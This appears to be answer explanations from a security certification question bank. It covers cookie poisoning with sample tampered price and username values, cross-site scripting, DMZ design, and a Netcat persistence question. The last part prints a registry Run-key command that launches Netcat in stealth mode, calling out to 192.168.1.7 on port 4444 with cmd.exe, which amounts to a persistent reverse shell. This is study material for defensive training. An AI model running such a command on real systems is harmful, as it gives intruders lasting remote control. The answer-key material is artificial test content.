John is performing cookie poisoning. In cookie poisoning, an attacker modifies the value of cookies before sending them back to the server. On modifying the cookie values, an attacker can log in to any other user account and can perform identity theft. The following figure explains how cookie poisoning occurs: For example: The attacker visits an online shop that stores the IDs and prices of the items to buy in a cookie. After selecting the items that he wants to buy, the attacker changes the price of the item to 1. Original cookie values: ItemID1= 2 ItemPrice1=900 ItemID2=1 ItemPrice2=200 Modified cookie values: ItemID1= 2 ItemPrice1=1 ItemID2=1 ItemPrice2=1 Now, the attacker clicks the Buy button and the prices are sent to the server that calculates the total price. Another use of a Cookie Poisoning attack is to pretend to be another user after changing the username in the cookie values: Original cookie values: LoggedIn= True Username = Mark Modified cookie values: LoggedIn= True Username = Admin Now, after modifying the cookie values, the attacker can do the admin login. Answer option D is incorrect. A cross site scripting attack is one in which an attacker enters malicious data into a Website. For example, the attacker posts a message that contains malicious code to any newsgroup site. When another user views this message, the browser interprets this code and executes it and, as a result, the attacker is able to take control of the user's system. Cross site scripting attacks require the execution of client-side languages such as JavaScript, Java, VBScript, ActiveX, Flash, etc. within a user's Web environment. With the help of a cross site scripting attack, the attacker can perform cookie stealing, sessions hijacking, etc.

A demilitarized zone (DMZ) is a physical or logical subnetwork that contains and exposes external services of an organization to a larger network, usually the Internet. The purpose of a DMZ is to add an additional layer of security to an organization's Local Area Network (LAN); an external attacker only has access to equipment in the DMZ, rather than the whole of the network. Hosts in the DMZ have limited connectivity to specific hosts in the internal network, though communication with other hosts in the DMZ and to the external network is allowed. This allows hosts in the DMZ to provide services to both the internal and external networks, while an intervening firewall controls the traffic between the DMZ servers and the internal network clients. In a DMZ configuration, most computers on the LAN run behind a firewall connected to a public network such as the Internet.

According to the question, you run the following command on the remote Windows server 2003
computer:
c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t REG_SZ /d
"c:\windows\nc.exe -d 192.168.1.7 4444 -e
cmd.exe"
By running this command, you want to perform the following tasks:
Adding the NetCat command in the following registry value:
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Putting the Netcat in the stealth mode by using the -d switch. Setting the Netcat tool to execute
command at any time by using the -e switch.
Answer option A is incorrect. You can perform banner grabbing by simply running the nc <host>
<port>.